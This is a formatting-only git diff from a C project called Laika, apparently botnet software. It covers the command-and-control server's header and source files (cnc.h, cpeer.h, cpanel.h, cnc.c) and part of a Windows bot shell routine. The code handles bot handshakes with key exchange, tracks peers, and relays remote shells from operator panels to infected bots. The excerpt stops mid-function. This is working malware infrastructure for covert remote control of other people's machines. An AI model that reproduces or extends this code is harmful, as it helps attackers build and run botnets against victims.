WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||||
return true; /* recoverable, process is still alive */
|
return true; /* recoverable, process is still alive */
|
||||||
/* unrecoverable error */
|
/* unrecoverable error */
|
||||||
laikaB_freeShell(bot, _shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||||
struct sLaika_peer* peer = bot->peer;
|
size_t length)
|
||||||
struct sLaika_socket* sock = &peer->sock;
|
{
|
||||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
struct sLaika_peer *peer = bot->peer;
|
||||||
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||||
size_t nLeft;
|
size_t nLeft;
|
||||||
DWORD nWritten;
|
DWORD nWritten;
|
||||||
|
|
||||||
nLeft = length;
|
nLeft = length;
|
||||||
while (nLeft > 0) {
|
while (nLeft > 0) {
|
||||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
|
||||||
/* unrecoverable error */
|
/* unrecoverable error */
|
||||||
laikaB_freeShell(bot, _shell);
|
laikaB_freeShell(bot, _shell);
|
||||||
return false;
|
return false;
|
||||||
|
@ -1,24 +1,25 @@
|
|||||||
#ifndef LAIKA_CNC_H
|
#ifndef LAIKA_CNC_H
|
||||||
#define LAIKA_CNC_H
|
#define LAIKA_CNC_H
|
||||||
|
|
||||||
|
#include "hashmap.h"
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpolllist.h"
|
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
#include "lpolllist.h"
|
||||||
|
#include "lsocket.h"
|
||||||
#include "ltask.h"
|
#include "ltask.h"
|
||||||
#include "hashmap.h"
|
|
||||||
|
|
||||||
/* kill peers if they haven't ping'd within a minute */
|
/* kill peers if they haven't ping'd within a minute */
|
||||||
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
||||||
|
|
||||||
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
||||||
|
|
||||||
struct sLaika_cnc {
|
struct sLaika_cnc
|
||||||
|
{
|
||||||
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES];
|
||||||
struct sLaika_socket sock;
|
struct sLaika_socket sock;
|
||||||
struct sLaika_pollList pList;
|
struct sLaika_pollList pList;
|
||||||
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
||||||
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
||||||
uint8_t **authKeys;
|
uint8_t **authKeys;
|
||||||
int authKeysCount;
|
int authKeysCount;
|
||||||
@ -50,7 +51,8 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
|
|||||||
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
||||||
|
|
||||||
/* kills peers who haven't ping'd in a while */
|
/* kills peers who haven't ping'd in a while */
|
||||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||||
|
clock_t currTick, void *uData);
|
||||||
|
|
||||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
||||||
|
|
||||||
|
@ -7,9 +7,13 @@
|
|||||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||||
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||||
|
|
||||||
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
void *uData);
|
||||||
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
|
void *uData);
|
||||||
|
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
|
void *uData);
|
||||||
|
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
|
||||||
|
void *uData);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -3,18 +3,20 @@
|
|||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lpolllist.h"
|
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
#include "lpolllist.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
|
||||||
struct sLaika_peerInfo {
|
struct sLaika_peerInfo
|
||||||
|
{
|
||||||
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
|
struct sLaika_shellInfo *shells[LAIKA_MAX_SHELLS]; /* currently connected shells */
|
||||||
struct sLaika_cnc *cnc;
|
struct sLaika_cnc *cnc;
|
||||||
long lastPing;
|
long lastPing;
|
||||||
bool completeHandshake;
|
bool completeHandshake;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_shellInfo {
|
struct sLaika_shellInfo
|
||||||
|
{
|
||||||
struct sLaika_peer *bot;
|
struct sLaika_peer *bot;
|
||||||
struct sLaika_peer *auth;
|
struct sLaika_peer *auth;
|
||||||
uint32_t botShellID, authShellID;
|
uint32_t botShellID, authShellID;
|
||||||
@ -24,25 +26,28 @@ struct sLaika_shellInfo {
|
|||||||
#define BASE_PEERINFO struct sLaika_peerInfo info;
|
#define BASE_PEERINFO struct sLaika_peerInfo info;
|
||||||
|
|
||||||
/* these will differ someday */
|
/* these will differ someday */
|
||||||
struct sLaika_botInfo {
|
struct sLaika_botInfo
|
||||||
|
{
|
||||||
BASE_PEERINFO
|
BASE_PEERINFO
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_authInfo {
|
struct sLaika_authInfo
|
||||||
|
{
|
||||||
BASE_PEERINFO
|
BASE_PEERINFO
|
||||||
};
|
};
|
||||||
|
|
||||||
#undef BASE_PEERINFO
|
#undef BASE_PEERINFO
|
||||||
|
|
||||||
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo*)x->uData)
|
#define GETPINFOFROMPEER(x) ((struct sLaika_peerInfo *)x->uData)
|
||||||
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo*)x->uData)
|
#define GETBINFOFROMPEER(x) ((struct sLaika_botInfo *)x->uData)
|
||||||
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo*)x->uData)
|
#define GETAINFOFROMPEER(x) ((struct sLaika_authInfo *)x->uData)
|
||||||
|
|
||||||
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
|
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc);
|
||||||
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
|
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc);
|
||||||
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
|
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo);
|
||||||
|
|
||||||
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows);
|
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
|
||||||
|
uint16_t cols, uint16_t rows);
|
||||||
void laikaC_closeShell(struct sLaika_shellInfo *shell);
|
void laikaC_closeShell(struct sLaika_shellInfo *shell);
|
||||||
|
|
||||||
void laikaC_closeShells(struct sLaika_peer *peer);
|
void laikaC_closeShells(struct sLaika_peer *peer);
|
||||||
|
197
cnc/src/cnc.c
197
cnc/src/cnc.c
@ -1,57 +1,61 @@
|
|||||||
#include "lmem.h"
|
#include "cnc.h"
|
||||||
#include "lsodium.h"
|
|
||||||
#include "lsocket.h"
|
|
||||||
#include "lerror.h"
|
|
||||||
#include "ltask.h"
|
|
||||||
|
|
||||||
#include "cpanel.h"
|
#include "cpanel.h"
|
||||||
#include "cpeer.h"
|
#include "cpeer.h"
|
||||||
#include "cnc.h"
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
#include "lsocket.h"
|
||||||
|
#include "lsodium.h"
|
||||||
|
#include "ltask.h"
|
||||||
|
|
||||||
/* ======================================[[ PeerHashMap ]]======================================= */
|
/* ======================================[[ PeerHashMap ]]======================================= */
|
||||||
|
|
||||||
typedef struct sCNC_PeerHashElem {
|
typedef struct sCNC_PeerHashElem
|
||||||
|
{
|
||||||
struct sLaika_peer *peer;
|
struct sLaika_peer *peer;
|
||||||
uint8_t *pub;
|
uint8_t *pub;
|
||||||
} tCNC_PeerHashElem;
|
} tCNC_PeerHashElem;
|
||||||
|
|
||||||
int cnc_PeerElemCompare(const void *a, const void *b, void *udata) {
|
int cnc_PeerElemCompare(const void *a, const void *b, void *udata)
|
||||||
|
{
|
||||||
const tCNC_PeerHashElem *ua = a;
|
const tCNC_PeerHashElem *ua = a;
|
||||||
const tCNC_PeerHashElem *ub = b;
|
const tCNC_PeerHashElem *ub = b;
|
||||||
|
|
||||||
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
|
return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES);
|
||||||
}
|
}
|
||||||
|
|
||||||
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
|
uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1)
|
||||||
|
{
|
||||||
const tCNC_PeerHashElem *u = item;
|
const tCNC_PeerHashElem *u = item;
|
||||||
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
|
return *(uint64_t *)(u->pub); /* hashes pub key (first 8 bytes) */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ====================================[[ Packet Handlers ]]==================================== */
|
/* ====================================[[ Packet Handlers ]]==================================== */
|
||||||
|
|
||||||
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
|
bool checkPeerKey(struct sLaika_peer *peer, void *uData)
|
||||||
|
{
|
||||||
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
|
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
|
||||||
LAIKA_ERROR("public key is already in use!\n");
|
LAIKA_ERROR("public key is already in use!\n");
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
|
{
|
||||||
char magicBuf[LAIKA_MAGICLEN];
|
char magicBuf[LAIKA_MAGICLEN];
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
struct sLaika_cnc *cnc = pInfo->cnc;
|
struct sLaika_cnc *cnc = pInfo->cnc;
|
||||||
char *tempIPBuf;
|
char *tempIPBuf;
|
||||||
uint8_t major, minor;
|
uint8_t major, minor;
|
||||||
|
|
||||||
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
|
laikaS_read(&peer->sock, (void *)magicBuf, LAIKA_MAGICLEN);
|
||||||
major = laikaS_readByte(&peer->sock);
|
major = laikaS_readByte(&peer->sock);
|
||||||
minor = laikaS_readByte(&peer->sock);
|
minor = laikaS_readByte(&peer->sock);
|
||||||
peer->osType = laikaS_readByte(&peer->sock);
|
peer->osType = laikaS_readByte(&peer->sock);
|
||||||
peer->type = PEER_BOT;
|
peer->type = PEER_BOT;
|
||||||
|
|
||||||
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
|
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR ||
|
||||||
|| major != LAIKA_VERSION_MAJOR
|
minor != LAIKA_VERSION_MINOR)
|
||||||
|| minor != LAIKA_VERSION_MINOR)
|
|
||||||
LAIKA_ERROR("invalid handshake request!\n");
|
LAIKA_ERROR("invalid handshake request!\n");
|
||||||
|
|
||||||
/* read peer's public key */
|
/* read peer's public key */
|
||||||
@ -61,15 +65,17 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
|||||||
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
|
||||||
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
|
laikaS_read(&peer->sock, peer->inet, LAIKA_INET_LEN);
|
||||||
|
|
||||||
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR, which will kill the peer) */
|
/* check and make sure there's not already a peer with the same key (might throw an LAIKA_ERROR,
|
||||||
laikaC_iterPeers(cnc, checkPeerKey, (void*)peer->peerPub);
|
* which will kill the peer) */
|
||||||
|
laikaC_iterPeers(cnc, checkPeerKey, (void *)peer->peerPub);
|
||||||
|
|
||||||
/* restore null-terminator */
|
/* restore null-terminator */
|
||||||
peer->hostname[LAIKA_HOSTNAME_LEN-1] = '\0';
|
peer->hostname[LAIKA_HOSTNAME_LEN - 1] = '\0';
|
||||||
peer->inet[LAIKA_INET_LEN-1] = '\0';
|
peer->inet[LAIKA_INET_LEN - 1] = '\0';
|
||||||
|
|
||||||
/* gen session keys */
|
/* gen session keys */
|
||||||
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
|
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv,
|
||||||
|
peer->peerPub) != 0)
|
||||||
LAIKA_ERROR("failed to gen session key!\n");
|
LAIKA_ERROR("failed to gen session key!\n");
|
||||||
|
|
||||||
/* encrypt all future packets */
|
/* encrypt all future packets */
|
||||||
@ -86,8 +92,9 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
|||||||
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
|
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
{
|
||||||
|
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
|
||||||
|
|
||||||
pInfo->lastPing = laikaT_getTime();
|
pInfo->lastPing = laikaT_getTime();
|
||||||
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
|
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
|
||||||
@ -145,11 +152,13 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
|
|||||||
|
|
||||||
/* ==========================================[[ CNC ]]========================================== */
|
/* ==========================================[[ CNC ]]========================================== */
|
||||||
|
|
||||||
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
struct sLaika_cnc *laikaC_newCNC(uint16_t port)
|
||||||
|
{
|
||||||
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
|
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
|
||||||
|
|
||||||
/* init peer hashmap & panel list */
|
/* init peer hashmap & panel list */
|
||||||
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash, cnc_PeerElemCompare, NULL, NULL);
|
cnc->peers = hashmap_new(sizeof(tCNC_PeerHashElem), 8, 0, 0, cnc_PeerElemHash,
|
||||||
|
cnc_PeerElemCompare, NULL, NULL);
|
||||||
cnc->authPeers = NULL;
|
cnc->authPeers = NULL;
|
||||||
cnc->authKeys = NULL;
|
cnc->authKeys = NULL;
|
||||||
cnc->authKeysCount = 0;
|
cnc->authKeysCount = 0;
|
||||||
@ -158,8 +167,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|||||||
cnc->authPeersCount = 0;
|
cnc->authPeersCount = 0;
|
||||||
cnc->port = port;
|
cnc->port = port;
|
||||||
|
|
||||||
/* init socket & pollList */
|
/* init socket (we just need it for the raw socket fd and abstracted API :P) & pollList */
|
||||||
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL); /* we just need it for the raw socket fd and abstracted API :) */
|
laikaS_initSocket(&cnc->sock, NULL, NULL, NULL, NULL);
|
||||||
laikaP_initPList(&cnc->pList);
|
laikaP_initPList(&cnc->pList);
|
||||||
|
|
||||||
if (sodium_init() < 0) {
|
if (sodium_init() < 0) {
|
||||||
@ -178,7 +187,8 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
|
|||||||
return cnc;
|
return cnc;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_bindServer(struct sLaika_cnc *cnc) {
|
void laikaC_bindServer(struct sLaika_cnc *cnc)
|
||||||
|
{
|
||||||
/* bind sock to port */
|
/* bind sock to port */
|
||||||
laikaS_bind(&cnc->sock, cnc->port);
|
laikaS_bind(&cnc->sock, cnc->port);
|
||||||
|
|
||||||
@ -186,7 +196,8 @@ void laikaC_bindServer(struct sLaika_cnc *cnc) {
|
|||||||
laikaP_addSock(&cnc->pList, &cnc->sock);
|
laikaP_addSock(&cnc->pList, &cnc->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
void laikaC_freeCNC(struct sLaika_cnc *cnc)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
laikaS_cleanSocket(&cnc->sock);
|
laikaS_cleanSocket(&cnc->sock);
|
||||||
@ -201,7 +212,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
|
|||||||
laikaM_free(cnc);
|
laikaM_free(cnc);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
GETPINFOFROMPEER(peer)->completeHandshake = true;
|
||||||
|
|
||||||
@ -218,7 +230,8 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
|||||||
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* ignore uninitalized peers */
|
/* ignore uninitalized peers */
|
||||||
@ -228,16 +241,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
|||||||
/* close any open shells */
|
/* close any open shells */
|
||||||
laikaC_closeShells(peer);
|
laikaC_closeShells(peer);
|
||||||
switch (peer->type) {
|
switch (peer->type) {
|
||||||
case PEER_BOT: {
|
case PEER_BOT: {
|
||||||
/* TODO */
|
/* TODO */
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case PEER_AUTH: {
|
case PEER_AUTH: {
|
||||||
/* remove peer from panels list */
|
/* remove peer from panels list */
|
||||||
laikaC_rmvAuth(cnc, peer);
|
laikaC_rmvAuth(cnc, peer);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default: break;
|
default:
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* notify connected panels of the disconnected peer */
|
/* notify connected panels of the disconnected peer */
|
||||||
@ -249,7 +263,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
|||||||
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
hashmap_delete(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type) {
|
void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTYPE type)
|
||||||
|
{
|
||||||
/* make sure to update connected peers */
|
/* make sure to update connected peers */
|
||||||
laikaC_onRmvPeer(cnc, peer);
|
laikaC_onRmvPeer(cnc, peer);
|
||||||
|
|
||||||
@ -259,26 +274,28 @@ void laikaC_setPeerType(struct sLaika_cnc *cnc, struct sLaika_peer *peer, PEERTY
|
|||||||
/* update accepted packets */
|
/* update accepted packets */
|
||||||
peer->type = type;
|
peer->type = type;
|
||||||
switch (type) {
|
switch (type) {
|
||||||
case PEER_AUTH:
|
case PEER_AUTH:
|
||||||
peer->packetTbl = laikaC_authPktTbl;
|
peer->packetTbl = laikaC_authPktTbl;
|
||||||
peer->uData = laikaC_newAuthInfo(cnc);
|
peer->uData = laikaC_newAuthInfo(cnc);
|
||||||
break;
|
break;
|
||||||
case PEER_BOT:
|
case PEER_BOT:
|
||||||
peer->packetTbl = laikaC_botPktTbl;
|
peer->packetTbl = laikaC_botPktTbl;
|
||||||
peer->uData = laikaC_newBotInfo(cnc);
|
peer->uData = laikaC_newBotInfo(cnc);
|
||||||
break;
|
break;
|
||||||
default:
|
default:
|
||||||
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
|
LAIKA_ERROR("laikaC_setPeerType: invalid peerType!\n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* a new (but not-so-new) peer has arrived */
|
/* a new (but not-so-new) peer has arrived */
|
||||||
laikaC_onAddPeer(cnc, peer);
|
laikaC_onAddPeer(cnc, peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||||
|
{
|
||||||
/* grow array if we need to */
|
/* grow array if we need to */
|
||||||
laikaM_growarray(struct sLaika_peer*, cnc->authPeers, 1, cnc->authPeersCount, cnc->authPeersCap);
|
laikaM_growarray(struct sLaika_peer *, cnc->authPeers, 1, cnc->authPeersCount,
|
||||||
|
cnc->authPeersCap);
|
||||||
|
|
||||||
/* insert into authenticated peer table */
|
/* insert into authenticated peer table */
|
||||||
cnc->authPeers[cnc->authPeersCount++] = authPeer;
|
cnc->authPeers[cnc->authPeersCount++] = authPeer;
|
||||||
@ -286,7 +303,8 @@ void laikaC_addAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
|||||||
LAIKA_DEBUG("added panel %p!\n", authPeer);
|
LAIKA_DEBUG("added panel %p!\n", authPeer);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
for (i = 0; i < cnc->authPeersCount; i++) {
|
for (i = 0; i < cnc->authPeersCount; i++) {
|
||||||
@ -297,9 +315,10 @@ void laikaC_rmvAuth(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
|
void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key)
|
||||||
|
{
|
||||||
uint8_t *buf;
|
uint8_t *buf;
|
||||||
laikaM_growarray(uint8_t*, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
|
laikaM_growarray(uint8_t *, cnc->authKeys, 1, cnc->authKeysCount, cnc->authKeysCap);
|
||||||
|
|
||||||
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
|
buf = laikaM_malloc(crypto_kx_PUBLICKEYBYTES);
|
||||||
if (!laikaK_loadKeys(buf, NULL, key, NULL))
|
if (!laikaK_loadKeys(buf, NULL, key, NULL))
|
||||||
@ -310,27 +329,30 @@ void laikaC_addAuthKey(struct sLaika_cnc *cnc, const char *key) {
|
|||||||
printf("[~] Added authenticated public key '%s'\n", key);
|
printf("[~] Added authenticated public key '%s'\n", key);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
|
void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
laikaC_onRmvPeer(cnc, peer);
|
laikaC_onRmvPeer(cnc, peer);
|
||||||
|
|
||||||
/* free peerInfo if it's defined */
|
/* free peerInfo if it's defined */
|
||||||
if (peer->uData)
|
if (peer->uData)
|
||||||
laikaC_freePeerInfo(peer, peer->uData);
|
laikaC_freePeerInfo(peer, peer->uData);
|
||||||
|
|
||||||
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer);
|
laikaP_rmvSock(&cnc->pList, (struct sLaika_socket *)peer);
|
||||||
laikaS_freePeer(peer);
|
laikaS_freePeer(peer);
|
||||||
|
|
||||||
LAIKA_DEBUG("peer %p killed!\n", peer);
|
LAIKA_DEBUG("peer %p killed!\n", peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* socket event */
|
/* socket event */
|
||||||
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
|
void laikaC_onPollFail(struct sLaika_socket *sock, void *uData)
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
{
|
||||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||||
|
struct sLaika_cnc *cnc = (struct sLaika_cnc *)uData;
|
||||||
laikaC_killPeer(cnc, peer);
|
laikaC_killPeer(cnc, peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout)
|
||||||
|
{
|
||||||
struct sLaika_peer *peer;
|
struct sLaika_peer *peer;
|
||||||
struct sLaika_pollEvent *evnts, *evnt;
|
struct sLaika_pollEvent *evnts, *evnt;
|
||||||
int numEvents, i;
|
int numEvents, i;
|
||||||
@ -347,13 +369,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
|
|||||||
for (i = 0; i < numEvents; i++) {
|
for (i = 0; i < numEvents; i++) {
|
||||||
evnt = &evnts[i];
|
evnt = &evnts[i];
|
||||||
if (evnt->sock == &cnc->sock) { /* event on listener? */
|
if (evnt->sock == &cnc->sock) { /* event on listener? */
|
||||||
peer = laikaS_newPeer(
|
peer = laikaS_newPeer(laikaC_botPktTbl, &cnc->pList, laikaC_onPollFail, cnc,
|
||||||
laikaC_botPktTbl,
|
(void *)laikaC_newBotInfo(cnc));
|
||||||
&cnc->pList,
|
|
||||||
laikaC_onPollFail,
|
|
||||||
cnc,
|
|
||||||
(void*)laikaC_newBotInfo(cnc)
|
|
